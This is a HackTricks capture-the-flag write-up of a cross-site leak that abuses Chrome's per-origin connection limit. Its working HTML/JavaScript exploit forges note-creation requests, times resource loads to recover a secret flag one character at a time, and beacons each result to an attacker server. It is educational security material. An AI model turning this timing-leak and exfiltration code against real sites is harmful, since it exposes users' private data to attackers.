Connection Pool by Destination Example

Reading time: 3 minutes

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

In this exploit, @terjanq proposes yet another solution for the challenged mentioned in the following page:

Connection Pool by Destination Example

Let's see how this exploit work:

  • The attacker will inject a note with as many <img tags loading /js/purify.js as possible (more than 6 to block the origin).
  • Then, the attacker will remove the note with index 1.
  • Then, the attacker will [make the bot access the page with the reminding note] and will send a request to victim.com/js/purify.js that he will time.
    • If the time is bigger, the injection was in the note left, if the time is lower, the flag was in there.

note

Tbh, reading the script I missed some part where the attacker makes the bot load the page to trigger the img tags, I don't see anything like that in the code

html
<html>
  <head>
    <script>
      const SITE_URL = "https://safelist.ctf.sekai.team/"
      const PING_URL = "https://myserver"
      function timeScript() {
        return new Promise((resolve) => {
          var x = document.createElement("script")
          x.src =
            "https://safelist.ctf.sekai.team/js/purify.js?" + Math.random()
          var start = Date.now()
          x.onerror = () => {
            console.log(`Time: ${Date.now() - start}`) //Time request
            resolve(Date.now() - start)
            x.remove()
          }
          document.body.appendChild(x)
        })
      }

      add_note = async (note) => {
        let x = document.createElement("form")
        x.action = SITE_URL + "create"
        x.method = "POST"
        x.target = "xxx"

        let i = document.createElement("input")
        i.type = "text"
        i.name = "text"
        i.value = note
        x.appendChild(i)
        document.body.appendChild(x)
        x.submit()
      }

      remove_note = async (note_id) => {
        let x = document.createElement("form")
        x.action = SITE_URL + "remove"
        x.method = "POST"
        x.target = "_blank"

        let i = document.createElement("input")
        i.type = "text"
        i.name = "index"
        i.value = note_id
        x.appendChild(i)
        document.body.appendChild(x)
        x.submit()
      }

      const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms))
      // }zyxwvutsrqponmlkjihgfedcba_
      const alphabet = "zyxwvutsrqponmlkjihgfedcba_"
      var prefix = "SEKAI{xsleakyay"
      const TIMEOUT = 500
      async function checkLetter(letter) {
        // Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js
        // Depending whether we found flag's letter it will either load the images or not.
        // With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char.
        const payload =
          `${prefix}${letter}` +
          Array.from(Array(78))
            .map((e, i) => `<img/src=/js/purify.js?${i}>`)
            .join("")
        await add_note(payload)
        await sleep(TIMEOUT)
        await timeScript()
        await remove_note(1) //Now, only the note with the flag or with the injection existsh
        await sleep(TIMEOUT)
        const time = await timeScript() //Find out how much a request to the same origin takes
        navigator.sendBeacon(PING_URL, [letter, time])
        if (time > 100) {
          return 1
        }
        return 0
      }
      window.onload = async () => {
        navigator.sendBeacon(PING_URL, "start")
        // doesnt work because we are removing flag after success.
        // while(1){
        for (const letter of alphabet) {
          if (await checkLetter(letter)) {
            prefix += letter
            navigator.sendBeacon(PING_URL, prefix)
            break
          }
        }
        // }
      }
    </script>
  </head>
  <body></body>
</html>

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks